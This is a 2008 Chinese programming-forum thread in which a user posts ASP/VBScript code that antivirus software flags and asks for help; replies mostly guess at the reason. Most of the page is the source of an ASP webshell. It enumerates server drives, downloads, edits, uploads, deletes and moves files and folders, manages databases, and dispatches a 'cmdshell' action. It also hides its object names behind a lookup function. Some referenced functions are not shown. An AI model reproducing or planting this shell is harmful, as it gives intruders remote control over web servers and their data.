代码有病毒,谁帮我看下。

cuichangzheng 2008-07-22 07:42:07
<%@ LANGUAGE = VBScript %>
<%%>

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<title><%=applicationname&" - "&serverip%></title>
<style type="text/css">
<!--
body,td {font-size: 12px;}
input,select{font-size: 12px;background-color:#ffffff;}
.tr {background-color:#efefef;}
.cmd {background-color:#000000;color:#ffffff}
body {margin-left: 0px;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;
<%if action="" then response.write "overflow-x:hidden;overflow-y:hidden;"%>}
a {color: black;text-decoration: none;}
.am {color: #003366;font-size: 11px;}
-->
</style>

<script language="javascript">
<!--
function yesok(){
if (confirm("确认要执行此操作吗?"))
return true;
else
return false;
}

function showfolder(folder){
top.addrform.folderpath.value = folder;
top.addrform.submit();
}

function fullform(fname,faction){
top.hideform.fname.value = fname;
if(faction=="copyfile"){
dname = prompt("请输入复制到目标文件全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="movefile"){
dname = prompt("请输入移动到目标文件全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="copyfolder"){
dname = prompt("请输入移动到目标文件夹全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="movefolder"){
dname = prompt("请输入移动到目标文件夹全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="newfolder"){
dname = prompt("请输入要新建的文件夹全名称",fname);
top.hideform.fname.value = dname;
}else if(faction=="createmdb"){
dname = prompt("请输入要新建的mdb文件全名称,注意不能同名!",fname);
top.hideform.fname.value = dname;
}else if(faction=="compactmdb"){
dname = prompt("请输入要压缩的mdb文件全名称,注意文件是否存在!",fname);
top.hideform.fname.value = dname;
}else{
dname = "other";
}

if(dname!=null){
top.hideform.action.value = faction;
top.hideform.submit();
}else{
top.hideform.fname.value = "";
}
}

function dbcheck(){
if(dbform.dbstr.value == ""){
alert("请先连接数据库");
fulldbstr(0);
return false;
}
return true;
}

function fulldbstr(i){
if(i<0){
return false;
}
str = new array(12);
str[0] = "provider=microsoft.jet.oledb.4.0;data source=<%=repath(session("folderpath"))%>\\db.mdb";
str[1] = "driver={sql server};server=<%=serverip%>,1433;database=dbname;uid=sa;pwd=****";
str[2] = "driver={mysql};server=<%=serverip%>;port=3306;database=dbname;uid=root;pwd=****";
str[3] = "dsn=dsnname";
str[4] = "select * from [tablename] where id<100";
str[5] = "insert into [tablename](user,pass) values(\'gxgl_com\',\'mypass\')";
str[6] = "delete from [tablename] where id=100";
str[7] = "update [tablename] set user=\'gxgl_com\' where id=100";
str[8] = "create table [tablename](id int identity (1,1) not null,user varchar(50))";
str[9] = "drop table [tablename]";
str[10]= "alter table [tablename] add column pass varchar(32)";
str[11]= "alter table [tablename] drop column pass";
str[12]= "当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。";
if(i<=3){
dbform.dbstr.value = str[i];
dbform.sqlstr.value = "";
abc.innerhtml="<center>请确认己连接数据库再输入sql操作命令语句。</center>";
}else if(i==12){
alert(str[i]);
}else{
dbform.sqlstr.value = str[i];
}
return true;
}
...全文
564 19 打赏 收藏 转发到动态 举报
写回复
用AI写文章
19 条回复
切换为时间正序
请发表友善的回复…
发表回复
chenlong5420 2009-11-14
  • 打赏
  • 举报
回复
楼主很强大,顶下
chenlong5420 2009-11-14
  • 打赏
  • 举报
回复
楼主很强大,顶下
METEOR_T 2009-08-15
  • 打赏
  • 举报
回复
楼主有前途!!
kalos2012 2009-08-05
  • 打赏
  • 举报
回复
访问本地文件算是一种病毒行为
fengzhongpian 2009-06-26
  • 打赏
  • 举报
回复
我也想看看,可惜啦
Adam_foxconn 2009-06-21
  • 打赏
  • 举报
回复
访问本地磁盘,还有删除的功能?这样有病毒的特征
xjxhsjl 2009-06-03
  • 打赏
  • 举报
回复
不懂。学习了!
  • 打赏
  • 举报
回复
看不懂
sincor 2009-01-28
  • 打赏
  • 举报
回复
楼主厉害 病毒都写出来了 呵呵 以后可以和卡巴斯基对着干了 有钱图
星球建造师 2009-01-21
  • 打赏
  • 举报
回复
菜鸟我不知道
「已注销」 2009-01-02
  • 打赏
  • 举报
回复
可能代码中有类似于病毒的特征码或行为
china_west 2009-01-01
  • 打赏
  • 举报
回复
不知道
lizhengc 2008-10-26
  • 打赏
  • 举报
回复
里面有访问本地文件和文件夹的内容,可能被认为是病毒把。
xiaoxiao555 2008-10-22
  • 打赏
  • 举报
回复
同意4楼的说法!
BIGBIRDINWOODS 2008-07-25
  • 打赏
  • 举报
回复
病毒在第三段。
cuichangzheng 2008-07-22
  • 打赏
  • 举报
回复
以上三段代码是我分开发的。不然文字太多无法发布。这段代码有卡巴检查下有病毒。
请高手帮我看下。
cuichangzheng 2008-07-22
  • 打赏
  • 举报
回复
class lbf
dim cf
private sub class_initialize
set cf=createobject(obt(0,0))
end sub

private sub class_terminate
set cf=nothing
end sub

function showdriver()
for each d in cf.drives
si=si&"<tr><td>  "
si=si&isico("plus.gif","driver.gif","v")
si=si&"<a href='javascript:showfolder("""&d.driveletter&":\\"")'>本地磁盘 ("&d.driveletter&":)</a>"
si=si&"</td></tr>"
next
showdriver=si
end function

function fileico(fname)
if showfileico=true then
typelist = ".asp.asa.bat.bmp.com.doc.db.dll.exe.fla.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip"
filetype = lcase(mid(fname, instrrev(fname,".")+1))
if instr(typelist,"."&filetype)>0 then
ico = filetype&".gif"
else
ico = "default.gif"
end if

fileico = "<img src='"&icopath&ico&"' border='0'> "
else
fileico="<font face='wingdings' color='#006600' size='3'>2</font> "
end if
end function

function showfile(path)
set fold=cf.getfolder(path)
i=0
si="<table width='100%' border='0' cellspacing='0' cellpadding='0' bgcolor='#efefef'><tr>"
for each f in fold.subfolders
si=si&"<td>"
si=si&isico("","folder.gif","0")
si=si&" <a href='javascript:showfolder("""&repath(path&"\"&f.name)&""")'>"&f.name&"</a>"
si=si&" | <a href='javascript:fullform("""&replace(path&"\"&f.name,"\","\\")&""",""delfolder"")' onclick='return yesok()' class='am' title='删除'>del</a>"
si=si&" <a href='javascript:fullform("""&repath(path&"\"&f.name)&""",""copyfolder"")' onclick='return yesok()' class='am' title='复制'>copy</a>"
si=si&" <a href='javascript:fullform("""&repath(path&"\"&f.name)&""",""movefolder"")' onclick='return yesok()' class='am' title='移动'>move</a>"
i=i+1
if i mod 3 = 0 then si=si&"</tr><tr>"
next
si=si&"</tr><tr><td height=5></td></tr></table>"
response.write si : si=""

for each l in fold.files
si="<table width='100%' border='0' cellspacing='1' cellpadding='0'>"
si=si&"<tr onmouseover=""this.classname='tr'"" onmouseout=""this.classname=''"">"
si=si&"<td height='20'>"&fileico(l.name)
si=si&"<a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""downfile"");' title='下载'>"&l.name&"</a></td>"
si=si&"<td width='140'>"&l.type&"</td>"
si=si&"<td width='50'>"&clng(l.size/1024)&"k</td>"
si=si&"<td width='120'>"&l.datelastmodified&"</td>"
si=si&"<td width='40' align=""center""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""editfile"")' class='am' title='编辑'>edit</a></td>"
si=si&"<td width='40' align=""center""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""delfile"")' onclick='return yesok()' class='am' title='删除'>del</a></td>"
si=si&"<td width='40' align=""center""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""copyfile"")' class='am' title='复制'>copy</a></td>"
si=si&"<td width='40' align=""center""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""movefile"")' class='am' title='移动'>move</a></td>"
si=si&"</tr></table>"
response.write si : si=""
next
set fold=nothing
end function

function delfile(path)
if cf.fileexists(path) then
cf.deletefile path
si="<center><br><br><br>文件 "&path&" 删除成功!</center>"
si=si&backurl
response.write si
end if
end function

function editfile(path)
if request("action2")="post" then
set t=cf.createtextfile(path)
t.writeline request.form("content")
t.close
set t=nothing
si="<center><br><br><br>文件保存成功!</center>"
si=si&backurl
response.write si
response.end
end if

if path<>"" then
set t=cf.opentextfile(path, 1, false)
txt=htmlencode(t.readall)
t.close
set t=nothing
else
path=session("folderpath")&"\newfile.asp":txt="新建文件"
end if

si="<table width='100%' height='100%'><tr><td valign='top' align='center'>"
si=si&"<form action='"&url&"?action2=post' method='post' name='editform'>"
si=si&"<input name='action' value='editfile' type='hidden'>"
si=si&"<input name='fname' value='"&path&"' style='width:100%'><br>"
si=si&"<textarea name='content' style='width:100%;height:450'>"&txt&"</textarea><br>"
si=si&"<hr><input name='goback' type='button' value='返回' onclick='history.back();'>   <input name='reset' type='reset' value='重置'>   <input name='submit' type='submit' value='保存'></form>"
si=si&"</td></tr></table></body></html>"
response.write si
end function

function copyfile(path)
path = split(path,"||||")
if cf.fileexists(path(0)) and path(1)<>"" then
cf.copyfile path(0),path(1)
si="<center><br><br><br>文件"&path(0)&"复制成功!</center>"
si=si&backurl
response.write si
end if
end function

function movefile(path)
path = split(path,"||||")
if cf.fileexists(path(0)) and path(1)<>"" then
cf.movefile path(0),path(1)
si="<center><br><br><br>文件"&path(0)&"移动成功!</center>"
si=si&backurl
response.write si
end if
end function

function delfolder(path)
if cf.folderexists(path) then
cf.deletefolder path
si="<center><br><br><br>目录"&path&"删除成功!</center>"
si=si&backurl
response.write si
end if
end function

function copyfolder(path)
path = split(path,"||||")
if cf.folderexists(path(0)) and path(1)<>"" then
cf.copyfolder path(0),path(1)
si="<center><br><br><br>目录"&path(0)&"复制成功!</center>"
si=si&backurl
response.write si
end if
end function

function movefolder(path)
path = split(path,"||||")
if cf.folderexists(path(0)) and path(1)<>"" then
cf.movefolder path(0),path(1)
si="<center><br><br><br>目录"&path(0)&"移动成功!</center>"
si=si&backurl
response.write si
end if
end function

function newfolder(path)
if not cf.folderexists(path) and path<>"" then
cf.createfolder path
si="<center><br><br><br>目录"&path&"新建成功!</center>"
si=si&backurl
response.write si
end if
end function
end class


select case action
case "mainmenu":mainmenu()
case "showfile"
set abc=new lbf:abc.showfile(session("folderpath")):set abc=nothing
case "downfile":downfile fname:showerr()
case "delfile"
set abc=new lbf:abc.delfile(fname):set abc=nothing
case "editfile"
set abc=new lbf:abc.editfile(fname):set abc=nothing
case "copyfile"
set abc=new lbf:abc.copyfile(fname):set abc=nothing
case "movefile"
set abc=new lbf:abc.movefile(fname):set abc=nothing
case "delfolder"
set abc=new lbf:abc.delfolder(fname):set abc=nothing
case "copyfolder"
set abc=new lbf:abc.copyfolder(fname):set abc=nothing
case "movefolder"
set abc=new lbf:abc.movefolder(fname):set abc=nothing
case "newfolder"
set abc=new lbf:abc.newfolder(fname):set abc=nothing
case "upfile":upfile()
case "logout":session.contents.remove("gxgl"):response.redirect url
case "cmdshell":cmdshell()
case "createmdb":createmdb fname
case "compactmdb":compactmdb fname
case "dbmanager":dbmanager()
case "serverinfo":serverinfo()
case else mainform()
end select
showerr()
%>
</body>
</html>
cuichangzheng 2008-07-22
  • 打赏
  • 举报
回复
function fullsqlstr(str,pg){
if(dbform.dbstr.value.length<5){
alert("请检查数据库连接串是否正确!")
return false;
}
if(str.length<10){
alert("请检查sql语句是否正确!")
return false;
}
dbform.sqlstr.value = str ;
dbform.page.value = pg;
abc.innerhtml="";
dbform.submit();
return true;
}
-->
</script>
</head>
<body>
<%
dim t1
class upc
dim d1,d2

public function form(f)
f=lcase(f)
if d1.exists(f) then:form=d1(f):else:form="":end if
end function

public function ua(f)
f=lcase(f)
if d2.exists(f) then:set ua=d2(f):else:set ua=new fif:end if
end function

private sub class_initialize
dim tda,tst,vbcrlf,tin,diend,t2,tlen,tfl,sfv,fstart,fend,dstart,dend,upname
set d1=createobject(obt(4,0))
if request.totalbytes<1 then exit sub
set t1 = createobject(obt(6,0))
t1.type = 1 : t1.mode =3 : t1.open
t1.write request.binaryread(request.totalbytes)
t1.position=0 : tda =t1.read : dstart = 1
dend = lenb(tda)
set d2=createobject(obt(4,0))
vbcrlf = chrb(13) & chrb(10)
set t2 = createobject(obt(6,0))
tst = midb(tda,1, instrb(dstart,tda,vbcrlf)-1)
tlen = lenb (tst)
dstart=dstart+tlen+1
while (dstart + 10) < dend
diend = instrb(dstart,tda,vbcrlf & vbcrlf)+3
t2.type = 1 : t2.mode =3 : t2.open
t1.position = dstart
t1.copyto t2,diend-dstart
t2.position = 0 : t2.type = 2 : t2.charset ="gb2312"
tin = t2.readtext : t2.close
dstart = instrb(diend,tda,tst)
fstart = instr(22,tin,"name=""",1)+6
fend = instr(fstart,tin,"""",1)
upname = lcase(mid (tin,fstart,fend-fstart))
if instr (45,tin,"filename=""",1) > 0 then
set tfl=new fif
fstart = instr(fend,tin,"filename=""",1)+10
fend = instr(fstart,tin,"""",1)
fstart = instr(fend,tin,"content-type: ",1)+14
fend = instr(fstart,tin,vbcr)
tfl.filestart =diend
tfl.filesize = dstart -diend -3
if not d2.exists(upname) then
d2.add upname,tfl
end if
else
t2.type =1 : t2.mode =3 : t2.open
t1.position = diend : t1.copyto t2,dstart-diend-3
t2.position = 0 : t2.type = 2
t2.charset ="gb2312"
sfv = t2.readtext
t2.close
if d1.exists(upname) then
d1(upname)=d1(upname)&", "&sfv
else
d1.add upname,sfv
end if
end if
dstart=dstart+tlen+1
wend
tda=""
set t2 =nothing
end sub

private sub class_terminate
if request.totalbytes>0 then
d1.removeall:d2.removeall
set d1=nothing:set d2=nothing
t1.close:set t1 =nothing
end if
end sub
end class

class fif
dim filesize,filestart
private sub class_initialize
filesize = 0
filestart= 0
end sub

public function saveas(f)
dim t3
saveas=true
if trim(f)="" or filestart=0 then exit function
set t3=createobject(obt(6,0))
t3.mode=3 : t3.type=1 : t3.open
t1.position=filestart
t1.copyto t3,filesize
t3.savetofile f,2
t3.close
set t3=nothing
saveas=false
end function
end class

3,423

社区成员

发帖
与我相关
我的任务
社区描述
其他开发语言 其他开发语言
社区管理员
  • 其他开发语言社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧